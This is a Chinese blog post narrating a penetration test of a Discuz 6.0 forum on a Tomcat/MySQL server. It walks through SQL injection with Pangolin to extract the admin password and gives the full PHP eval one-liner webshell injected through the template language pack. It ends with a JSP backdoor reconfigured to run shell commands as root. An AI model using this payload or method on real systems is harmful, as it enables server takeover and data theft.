网站地图    收藏   

主页 > 后端 > 网站安全 >

渗透过程中获取root权限的一个案例 - 网站安全

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 题记:最近在一次渗透测试中对权限的提升了有了一点思路,不是说多清晰,但却是从无到有。测试过程:1、首先探测目标。经过探测,确认目标网站采用Linux+Apache+Tomcat+MySQL架构,其论...

题记:
 
最近在一次渗透测试中对权限的提升了有了一点思路,不是说多清晰,但却是从无到有。
 
测试过程:
 
1、首先探测目标。
 
经过探测,确认目标网站采用Linux+Apache+Tomcat+MySQL架构,其论坛则采用Discuz 6.0(PHP)。
 
2、确定攻击方向。
 
经过简单测试,网站管理后台不存在常见用户名和密码组合,同时Tomcat 无弱口令漏洞,而Discuz 6存在多个漏洞,因此基本选定论坛作为主攻方向。
 
3、发现漏洞。
 
经过查询漏洞公告,发现了论坛上几个跨站点,但是注入点测试均不成功。于是利用扫描器对网站和论坛进行应用与系统扫描,发现存在跨站与SQL注入。
 
4、利用漏洞。
 
两相比较,注入点比跨站危害更大,获取信息手段更直接,因此,首先考虑利用SQL注入漏洞。将注入点放到穿山甲(Pangolin )中进行数据猜解,成功猜解出当前
 
数据库用户、数据库版本、数据库名称等敏感数据。但是对表的猜解出现问题,无法猜解出完整表名,只能大概确定表前缀为“cdb_”(见笑了,我对Discuz 不了解)。多次使用穿山甲并更换版本,仍无法成功猜解表名。
 
无奈之下,只有从其他方向入手。因此,搜索并下载了Discuz 6,对其数据库分析,这时我才知道原来“cdb_”是Discuz 的固定表名前缀。到这里,确定了需要猜解的表名cdb_admin。手动添加表名及关键列名至pangolin 中,继续猜解,成功猜解出论坛admin的密文,经过查询,获取了管理密码明文。
 
5、获取webshell。 www.2cto.com
 
在成功进入管理后台后,我一度迷茫,被网上各种利用Discuz 后台获取webshell的方法所困惑。为保险起见,我在本地搭建测试环境,多次尝试利用模板编辑的语言包部分进行一句话木马的获取,均不成功。无奈之下只好再次转向注入点的利用。
 
然而,令人失望的是,经过多次猜解,仍不能获取网站后台用户信息。悲剧的一天就这么结束了。
 
第二天,我不得不继续Discuz 后台的渗透,比较幸运的是,很快搜索到了相关的技巧。具体过程是:进入后台后,点击【模板管理】->【模板编辑】,在【默认模板】后面点击【详情】,在【Discuz!语言包】下面点击【actions】后的【编辑】,拉到最后面,在【guest】里面把【游客】改为 游客\\\\\\\\');eval($_POST[c]);echo (""//。
 
经过本地测试,取得了成功,于是在目标论坛上尝试,成功插入了一句话木马,进而上传了大马。
 
6、提权。
 
由于php的权限较低,无法读取一些系统文件和配置文件,更别说执行系统命令,因此必须进行提权。
 
首先我想到的是MySQL提权,因为之前有类似经历。不过,管理员对数据库用户权限进行了严格划分,目标网站使用的用户仅仅是dbowner权限。而利用websehll进行了数据搜寻后始终无法获取root用户密码,不得已放弃此路。
 
正所谓“山重水复疑无路,柳暗花明又一村”。一筹莫展之际,我突然想到,到现在为止我都未利用网站采用的Tomcat 服务器。与asp.net一样,jsp的权限一般都比较大。于是,我上传jsp后门至网站根目录。果然,利用JSP后门可以成功读取系统文件。恰在此时,我在网上看到邪恶八进制里一篇文章曾提到过:上传JSP后门至Tomcat 类网站目录,直接获取服务器root权限,汗......真的打开了/root目录。
 
7、最终提权
 
之所以还有一个最终提权,是因为在第六步中,虽然已经获取了root权限,但是却无法执行系统命令。我使用的是JSP Browser1.2。而数据库root用户密码仍不可得,因此到目前无法真正完全获取服务器权限(添加一个管理员账号)。
 
对JSP一窍不同的我,经过搜索与询问,确认是可以利用JSP执行Linux系统命令的。但无奈自己水平太低,不会手动写。只好分析JSP Browser 。让我吃惊的是,原来,该后门实际上是提供Linux 命令执行功能的:
 
private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
 
//private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix
 
稍微懂点代码的人都知道上面是什么意思了。至此,问题就简单了,将windows 类的注释掉,启用Unix 类即可。修改完成后重新上传该Webshell,成功执行系统命令。
 
后记:
 
此次渗透中我学到了提权的两种方法。
 
1、查找数据库配置文件,获取数据库root用户,进而获取系统root权限。
 
2、利用Tomcat默认配置下运行权限为root权限进行提权,最终获取root权限。
 
菜鸟一个,见笑了
 
作者 涅槃小鸟

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论